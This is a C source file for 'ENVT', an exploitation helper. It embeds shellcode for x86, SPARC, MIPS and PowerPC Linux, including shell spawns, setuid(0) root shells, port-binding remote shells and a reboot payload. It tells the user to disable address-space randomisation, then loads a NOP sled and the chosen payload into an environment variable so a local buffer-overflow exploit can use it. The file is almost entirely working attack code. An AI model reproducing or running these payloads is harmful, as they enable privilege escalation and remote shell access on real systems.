/**
*
*  Qnix <Qnix69@gmail.com>
*  ENVT v0.03
*
*************************************************************************
*    This program is free software; you can redistribute it and/or modify
*    it under the terms of the GNU General Public License as published by
*    the Free Software Foundation; either version 2 of the License, or
*    (at your option) any later version.
*
*    This program is distributed in the hope that it will be useful,
*    but WITHOUT ANY WARRANTY; without even the implied warranty of
*    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*    GNU General Public License for more details.
*
*    You should have received a copy of the GNU General Public License along
*    with this program; if not, write to the Free Software Foundation, Inc.,
*    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*************************************************************************
*
* */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define VERSION  "v0.3"
#define MAX_SIZE 1024
#define SHSIZE  512
#define bash  "/bin/bash"

/* Prototype */
void getenvaddr (char *environment);
void help (char *string);
void setshenv (int shellcode);
int shellcode_create (char shspace[], char shellcode[], char *shname);

/****************** START OF SHELLCODES ******************/
char execve_binbash[] = "\x31\xc0"	// xor    %eax, %eax
  "\x50"			// push   %eax
  "\x68\x2f\x2f\x73\x68"	// push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e"	// push   $0x6e69622f
  "\x89\xe3"			// mov    %esp, %ebx
  "\x50"			// push   %eax
  "\x53"			// push   %ebx
  "\x89\xe1"			// mov    %esp, %ecx
  "\x31\xd2"			// xor    %edx, %edx
  "\xb0\x0b"			// mov    $0xb, %al
  "\xcd\x80";			// int    $0x80

char execve_setuid_setgid_bb[] = "\x6a\x17"	// push $0x17
  "\x58"			// pop  %eax
  "\x31\xdb"			// xor %ebx, %ebx
  "\xcd\x80"			// int $0x80
  "\x6a\x2e"			// push $0x2e
  "\x58"			// pop %eax
  "\x53"			// push %ebx
  "\xcd\x80"			// int $0x80
  "\x31\xd2"			// xor %edx, %edx
  "\x6a\x0b"			// push $0xb
  "\x58"			// pop %eax
  "\x52"			// push %edx
  "\x68\x2f\x2f\x73\x68"	// push $0x68732f2f
  "\x68\x2f\x62\x69\x6e"	// push $0x6e69622f
  "\x89\xe3"			// mov %esp, %ebx
  "\x52"			// push %edx
  "\x53"			// push %ebx
  "\x89\xe1"			// mov %esp, %ecx
  "\xcd\x80";			// int $0x80

char portbind_64713[] =
  /* socket(AF_INET, SOCK_STREAM, 0) */
  "\x6a\x66"			// push   $0x66
  "\x58"			// pop    %eax
  "\x6a\x01"			// push   $0x1
  "\x5b"			// pop    %ebx
  "\x99"			// cltd
  "\x52"			// push   %edx
  "\x53"			// push   %ebx
  "\x6a\x02"			// push   $0x2
  "\x89\xe1"			// mov    %esp,%ecx
  "\xcd\x80"			// int    $0x80
  /* bind(s, server, sizeof(server)) */
  "\x52"			// push   %edx
  "\x66\x68\xfc\xc9"		// pushw  $0xc9fc  // PORT = 64713
  "\x66\x6a\x02"		// pushw  $0x2
  "\x89\xe1"			// mov    $esp,%ecx
  "\x6a\x10"			// push   $0x10
  "\x51"			// push   %ecx
  "\x50"			// push   %eax
  "\x89\xe1"			// mov    %esp,%ecx
  "\x89\xc6"			// mov    %eax,%esi
  "\x43"			// inc    %ebx
  "\xb0\x66"			// mov    $0x66,%al
  "\xcd\x80"			// int    $0x80
  /* listen(s, anything) */
  "\xb0\x66"			// mov    $0x66,%al
  "\xd1\xe3"			// shl    %ebx
  "\xcd\x80"			// int    $0x80
  /* accept(s, 0, 0) */
  "\x52"			// push   %edx
  "\x56"			// push   %esi
  "\x89\xe1"			// mov    %esp,%ecx
  "\x43"			// inc    %ebx
  "\xb0\x66"			// mov    $0x66,%al
  "\xcd\x80"			// int    $0x80
  "\x93"			// xchg   %eax,%ebx
  /* dup2(c, 2) , dup2(c, 1) , dup2(c, 0) */
  "\x6a\x02"			// push   $0x2
  "\x59"			// pop    %ecx
  "\xb0\x3f"			// mov    $0x3f,%al
  "\xcd\x80"			// int    $0x80
  "\x49"			// dec    %ecx
  "\x79\xf9"			// jns    dup_loop
  /* execve("/bin/sh", ["/bin/sh"], NULL) */
  "\x6a\x0b"			// push   $0xb
  "\x58"			// pop    %eax
  "\x52"			// push   %edx
  "\x68\x2f\x2f\x73\x68"	// push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e"	// push   $0x6e69622f
  "\x89\xe3"			// mov    %esp, %ebx
  "\x52"			// push   %edx
  "\x53"			// push   %ebx
  "\x89\xe1"			// mov    %esp, %ecx
  "\xcd\x80";			// int    $0x80

char reboot_20[] = "\x6a\x58"	// push $0x58
  "\x58"			// pop %eax
  "\xbb\xad\xde\xe1\xfe"	// mov $0xfee1dead,%ebx
  "\xb9\x69\x19\x12\x28"	// mov $0x28121969,%ecx
  "\xba\x67\x45\x23\x01"	// mov $0x1234567,%edx
  "\xcd\x80";			// int $0x80

char sparc_portbind[] = "\x9d\xe3\xbf\x78"	// save  %sp, -136, %sp
  "\x90\x10\x20\x02"		// mov  2, %o0
  "\x92\x10\x20\x01"		// mov  1, %o1
  "\x94\x22\x80\x0a"		// sub  %o2, %o2, %o2
  "\xd0\x23\xa0\x44"		// st  %o0, [ %sp + 0x44 ]
  "\xd2\x23\xa0\x48"		// st  %o1, [ %sp + 0x48 ]
  "\xd4\x23\xa0\x4c"		// st  %o2, [ %sp + 0x4c ]
  "\x90\x10\x20\x01"		// mov  1, %o0
  "\x92\x03\xa0\x44"		// add  %sp, 0x44, %o1
  "\x82\x10\x20\xce"		// mov  0xce, %g1
  "\x91\xd0\x20\x10"		// ta  0x10
  "\xd0\x27\xbf\xf4"		// st  %o0, [ %fp + -12 ]
  "\x90\x10\x20\x02"		// mov  2, %o0
  "\xd0\x37\xbf\xd8"		// sth  %o0, [ %fp + -40 ]
  "\x13\x08\xc8\xc8"		// sethi  %hi(0x23232000), %o1
  "\x90\x12\x63\x0f"		// or  %o1, 0x30f, %o0
  "\xd0\x37\xbf\xda"		// sth  %o0, [ %fp + -38 ]
  "\xc0\x27\xbf\xdc"		// clr  [ %fp + -36 ]
  "\x92\x07\xbf\xd8"		// add  %fp, -40, %o1
  "\xd0\x07\xbf\xf4"		// ld  [ %fp + -12 ], %o0
  "\x94\x10\x20\x10"		// mov  0x10, %o2
  "\xd0\x23\xa0\x44"		// st  %o0, [ %sp + 0x44 ]
  "\xd2\x23\xa0\x48"		// st  %o1, [ %sp + 0x48 ]
  "\xd4\x23\xa0\x4c"		// st  %o2, [ %sp + 0x4c ]
  "\x90\x10\x20\x02"		// mov  2, %o0
  "\x92\x03\xa0\x44"		// add  %sp, 0x44, %o1
  "\x82\x10\x20\xce"		// mov  0xce, %g1
  "\x91\xd0\x20\x10"		// ta  0x10
  "\xd0\x07\xbf\xf4"		// ld  [ %fp + -12 ], %o0
  "\x92\x10\x20\x05"		// mov  5, %o1
  "\xd0\x23\xa0\x44"		// st  %o0, [ %sp + 0x44 ]
  "\xd2\x23\xa0\x48"		// st  %o1, [ %sp + 0x48 ]
  "\x90\x10\x20\x04"		// mov  4, %o0
  "\x92\x03\xa0\x44"		// add  %sp, 0x44, %o1
  "\x82\x10\x20\xce"		// mov  0xce, %g1
  "\x91\xd0\x20\x10"		// ta  0x10
  "\x92\x07\xbf\xd8"		// add  %fp, -40, %o1
  "\x94\x07\xbf\xec"		// add  %fp, -20, %o2
  "\xd0\x07\xbf\xf4"		// ld  [ %fp + -12 ], %o0
  "\xd0\x23\xa0\x44"		// st  %o0, [ %sp + 0x44 ]
  "\xd2\x23\xa0\x48"		// st  %o1, [ %sp + 0x48 ]
  "\xd4\x23\xa0\x4c"		// st  %o2, [ %sp + 0x4c ]
  "\x90\x10\x20\x05"		// mov  5, %o0
  "\x92\x03\xa0\x44"		// add  %sp, 0x44, %o1
  "\x82\x10\x20\xce"		// mov  0xce, %g1
  "\x91\xd0\x20\x10"		// ta  0x10
  "\xd0\x27\xbf\xf0"		// st  %o0, [ %fp + -16 ]
  "\xd0\x07\xbf\xf0"		// ld  [ %fp + -16 ], %o0
  "\x92\x22\x40\x09"		// sub  %o1, %o1, %o1
  "\x82\x10\x20\x5a"		// mov  0x5a, %g1
  "\x91\xd0\x20\x10"		// ta  0x10
  "\xd0\x07\xbf\xf0"		// ld  [ %fp + -16 ], %o0
  "\x92\x10\x20\x01"		// mov  1, %o1
  "\x82\x10\x20\x5a"		// mov  0x5a, %g1
  "\x91\xd0\x20\x10"		// ta  0x10
  "\xd0\x07\xbf\xf0"		// ld  [ %fp + -16 ], %o0
  "\x92\x10\x20\x02"		// mov  2, %o1
  "\x82\x10\x20\x5a"		// mov  0x5a, %g1
  "\x91\xd0\x20\x10"		// ta  0x10
  "\x2d\x0b\xd8\x9a"		// sethi  %hi(0x2f626800), %l6
  "\xac\x15\xa1\x6e"		// or  %l6, 0x16e, %l6
  "\x2f\x0b\xdc\xda"		// sethi  %hi(0x2f736800), %l7
  "\x90\x0b\x80\x0e"		// and  %sp, %sp, %o0
  "\x92\x03\xa0\x08"		// add  %sp, 8, %o1
  "\x94\x22\x80\x0a"		// sub  %o2, %o2, %o2
  "\x9c\x03\xa0\x10"		// add  %sp, 0x10, %sp
  "\xec\x3b\xbf\xf0"		// std  %l6, [ %sp + -16 ]
  "\xd0\x23\xbf\xf8"		// st  %o0, [ %sp + -8 ]
  "\xc0\x23\xbf\xfc"		// clr  [ %sp + -4 ]
  "\x82\x10\x20\x3b"		// mov  0x3b, %g1
  "\x91\xd0\x20\x10";		// ta  0x10

char mips_sh[] =
  /* 56 byte execve("/bin/sh",["/bin/sh"],[]) by core */
  "\xff\xff\x10\x04\xab\x0f\x02\x24"
  "\x55\xf0\x46\x20\x66\x06\xff\x23"
  "\xc2\xf9\xec\x23\x66\x06\xbd\x23"
  "\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf"
  "\x9a\xf9\xbd\x23\x21\x20\x80\x01"
  "\x21\x28\xa0\x03\xcc\xcd\x44\x03" "/bin/sh";

char ppc_sh[] = "\x7c\x3f\x0b\x78"	/*mr r31,r1 */
  "\x7c\xa5\x2a\x79"		/*xor. r5,r5,r5 */
  "\x42\x40\xff\xf9"		/*bdzl+ 10000454<main> */
  "\x7f\x08\x02\xa6"		/*mflr r24 */
  "\x3b\x18\x01\x34"		/*addi r24,r24,308 */
  "\x98\xb8\xfe\xfb"		/*stb r5,-261(r24) */
  "\x38\x78\xfe\xf4"		/*addi r3,r24,-268 */
  "\x90\x61\xff\xf8"		/*stw r3,-8(r1) */
  "\x38\x81\xff\xf8"		/*addi r4,r1,-8 */
  "\x90\xa1\xff\xfc"		/*stw r5,-4(r1) */
  "\x3b\xc0\x01\x60"		/*li r30,352 */
  "\x7f\xc0\x2e\x70"		/*srawi r0,r30,5 */
  "\x44\xde\xad\xf2"		/*.long 0x44deadf2 */
  "/bin/shZ";			// the last byte becomes NULL

char stdin_reopen[] =
  "\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
  "\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
  "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char helloworld[] =
  "\x31\xc0\xbb\x01\x00\x00\x00\x50\x68\x6f\x72\x6c\x64\x68\x6c"
  "\x6f\x20\x57\x68\x48\x65\x6c\x00\x54\x59\xba\x10\x00\x00\x00"
  "\xb0\x04\xcd\x80\xb0\x01\x89\xc3\xcd\x80";

/******************  END OF SHELLCODES  ******************/

/* Main .
 *
 * */

int
main (int argc, char *argv[])
{

  char *vapatch_string[MAX_SIZE];
  int c;
  char buf1[MAX_SIZE];
  char *addr = getenv ("ENVT");
  int buf1i;
  extern char *optarg;
  extern int optind, optopt;
  FILE *vapatch;

  vapatch = fopen ("/proc/sys/kernel/randomize_va_space", "r");

  if (vapatch == NULL)
    {
      fprintf (stdout, "[*] Cannot find VA patch ... good\n");
    }
  else
    {
      fprintf (stdout, "[*] VA patch found\n");
      fscanf (vapatch, "%s", vapatch_string);
    }

  if (atoi (vapatch_string) == 1)
    {
      fprintf (stderr, "[*] VA patch is enabled\n");
      fprintf (stderr,
	       "\nplease disable it by setting /proc/sys/kernel/randomize_va_space to 0\n\n");
      return -1;
    }
  else
    {
      fprintf (stdout, "[*] VA patch is disabled .. good\n");
    }

  if (addr != NULL)
    {
      getenvaddr (addr);
      exit (0);
    }

  if (argc < 2)
    {
      help (argv[0]);
    }

  while ((c = getopt (argc, argv, ":s:lhv")) != -1)
    {
      switch (c)
	{
	case 'v':
	  version ();
	  break;
	case 'h':
	  help (argv[0]);
	case 'l':
	  shellcode_list ();
	  break;
	case 's':
	  strncpy (buf1, optarg, MAX_SIZE - 1);
	  buf1i = atoi (buf1);
	  setshenv (buf1i);
	  break;
	case ':':
	  fprintf (stderr, "Option -%c requires an operand\n", optopt);
	  break;

	}
    }

  return (0);
}

/*
* Display version .
*
* */

int
version ()
{
  fprintf (stdout, "ENVT %s\n", VERSION);
  fprintf (stdout, "Coded by Qnix <Qnix@bsdmail.org>\n");
  exit (0);
}

/*
* Display help .
*
* */

void
getenvaddr (char *environment)
{
  fprintf (stdout, "SHELLCODE FOUND IN %p\n", environment);
}

void
help (char *string)
{
  fprintf (stderr,
	   "\nUsage : %s\n-l:(shellcode-list)\n-s:<shellcode-number>\n-h:(help)\n-v:(version)\n",
	   string);
  exit (0);
}



/*
* Display shellcode list .
*
* */

int
shellcode_list ()
{

  /*   0x86 sec.   */
  fprintf (stdout, "\n\t\t\t::[ LINUX/x86 ]::\n");
  fprintf (stdout,
	   "1) linux/x86 execve(\"/bin/sh\", [\"/bin/sh\", NULL]) 25 bytes\n");
  fprintf (stdout,
	   "2) linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes\n");
  fprintf (stdout, "3) linux/x86 portbind (port 64713) 86 bytes\n");
  fprintf (stdout, "4) linux/x86 reboot() - 20 bytes\n");
  fprintf (stdout, "5) linux/x86 stdin re-open shellcode\n");
  fprintf (stdout, "6) linux/x86 print helloworld 40 bytes\n\n");

  /*  sparc sec.   */
  fprintf (stdout, "\t\t\t::[ LINUX/SPARC ]::\n");
  fprintf (stdout, "7) linux/SPARC portbind port 8975 284 bytes\n\n");

  /*   mips sec.   */
  fprintf (stdout, "\t\t\t::[ LINUX/MIPS  ]::\n");
  fprintf (stdout, "8) linux/mips execve /bin/sh 56 bytes\n\n");

  /*   PPC sec.   */
  fprintf (stdout, "\t\t\t::[ LINUX/PPC  ]::\n");
  fprintf (stdout, "9) linux/ppc execve /bin/sh 60 bytes\n\n");

  exit (0);
}


/*
* Set Shellcode in environment .
*
* */

void
setshenv (int shellcode)
{

  char *addr = getenv ("ENVT");	// Use to get shellcode addr
  char execvebb[SHSIZE];	// Use for shellcode(1)
  char setugbb[SHSIZE];		// Use for shellcode(2)
  char portbind[SHSIZE];	// Use for shellcode(3)
  char reboot[SHSIZE];		// Use for shellcode(4)
  char stdinreo[SHSIZE];	// Use for shellcode(5)
  char sparc1[SHSIZE];		// Use for shellcode(6)
  char mips1[SHSIZE];		// Use for shellcode(7)
  char ppc1[SHSIZE];		// Use for shellcode(8)
  char hw[SHSIZE];		// Use for shellcode(9)

  if (shellcode > 9)
    {
      fprintf (stderr,
	       "Error : shellcode number %d unavailable type -l to view\nthe available shellcodes.\n",
	       shellcode);
      exit (0);
    }

/* Shellcode number 1 */
  if (shellcode == 1)
    {
      shellcode_create (execvebb, execve_binbash,
			"Linux/x86 execve(\"/bin/sh\", [\"/bin/sh\", NULL]) 25 bytes\n");
    }

/* Shellcode number 2 */
  if (shellcode == 2)
    {
      shellcode_create (setugbb, execve_setuid_setgid_bb,
			"linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes\n");
    }

/* Shellcode number 3 */
  if (shellcode == 3)
    {
      shellcode_create (portbind, portbind_64713,
			"linux/x86 portbind (port 64713) 86 bytes\n");
    }

/* Shellcode number 4 */
  if (shellcode == 4)
    {
      shellcode_create (reboot, reboot_20, "linux/x86 reboot() - 20 bytes\n");
    }

/* Shellcode number 5 */
  if (shellcode == 5)
    {
      shellcode_create (stdinreo, stdin_reopen,
			"linux/x86 stdin re-open shellcode\n");
    }

/* Shellcode number 6 */
  if (shellcode == 6)
    {
      shellcode_create (hw, helloworld,
			"linux/x86 print helloworld 40 bytes\n");
    }

/* Shellcode number 7 */
  if (shellcode == 7)
    {
      shellcode_create (sparc1, sparc_portbind,
			"linux/SPARC portbind port 8975 284 bytes\n");
    }

/* Shellcode number 8 */
  if (shellcode == 8)
    {
      shellcode_create (mips1, mips_sh,
			"linux/mips execve /bin/sh 56 bytes\n");
    }

/* Shellcode number 9 */
  if (shellcode == 9)
    {
      shellcode_create (ppc1, ppc_sh, "linux/ppc execve /bin/sh 60 bytes\n");
    }

}

int
shellcode_create (char shspace[], char shellcode[], char *shname)
{
  fprintf (stdout, "Shellcode: %s", shname);
  fprintf (stdout, "[+]\t Setting memory for shellcode.\n");
  memset (shspace, 0x90, SHSIZE);
  fprintf (stdout, "[+]\t Copying shellcode to memory.\n");
  memcpy (&shspace[SHSIZE - strlen (shellcode)], shellcode,
	  strlen (shellcode));
  memcpy (shspace, "ENVT=", 5);
  fprintf (stdout, "[+]\t Putting shellcode in the environment.\n");
  putenv (shspace);
  fprintf (stdout,
	   "[+]\t Going into the environment (ENVT) and exiting ....\nDone %d bytes loaded to (ENVT)\n",
	   strlen (shellcode));
  fprintf (stdout, "(run envt again to get the address of the shellcode)\n)");
  execl (bash, bash, '\0');
  exit (0);
}
